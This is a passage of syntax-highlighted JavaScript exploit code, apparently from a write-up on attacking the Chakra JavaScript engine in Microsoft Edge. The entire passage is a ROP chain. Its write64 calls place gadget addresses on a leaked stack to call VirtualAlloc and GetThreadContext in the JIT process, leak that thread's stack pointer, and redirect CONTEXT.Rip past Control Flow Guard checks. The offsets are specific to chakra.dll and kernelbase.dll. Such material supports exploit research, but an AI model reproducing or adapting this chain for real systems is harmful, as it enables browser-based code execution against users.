<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x5ac10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAlloc address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// GetThreadContext() ROP chain</span>
<span class="c1">// Stage 8 -&gt; Dump the registers of our newly created thread within the JIT process to leak the stack</span>

<span class="c1">// First, let's store some needed offsets of our VirtualAlloc allocation, as well as the address itself, in the .data section of kernelbase.dll</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the VirtualAlloc allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Save VirtualAlloc_allocation+0x30. This is the offset in our buffer (CONTEXT structure) that is ContextFlags</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store CONTEXT.ContextFlags</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// We need to set CONTEXT.ContextFlags. This address (0x30 offset from CONTEXT buffer allocated from VirtualAlloc) is in kernelbase+0x21a110</span>
<span class="c1">// The value we need to set is 0x10001F</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll with CONTEXT.ContextFlags address</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x0010001F</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// CONTEXT_ALL</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future mov qword [rax+0x20], rcx gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our thread HANDLE is</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCONTEXT lpContext</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)</span>
<span class="nx">next</span><span class="p">();</span>                                                                      
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!GetThreadContext</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x72d10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!GetThreadContext address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!GetThreadContext)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// "return address" for KERNELBASE!GetThreadContext - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Locate store CONTEXT.Rsp and store it in .data of kernelbase.dll</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we stored CONTEXT.ContextFlags</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x4c37c5</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>		<span class="c1">// 0x1804c37c5: mov rax, qword [rcx] ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x26f73a</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18026f73a: add rax, 0x68 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a118</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we want to store CONTEXT.Rsp</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Update CONTEXT.Rip to point to a ret gadget directly instead of relying on CreateRemoteThread start routine (which CFG checks)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x26f72a</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18026f72a: add rax, 0x60 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
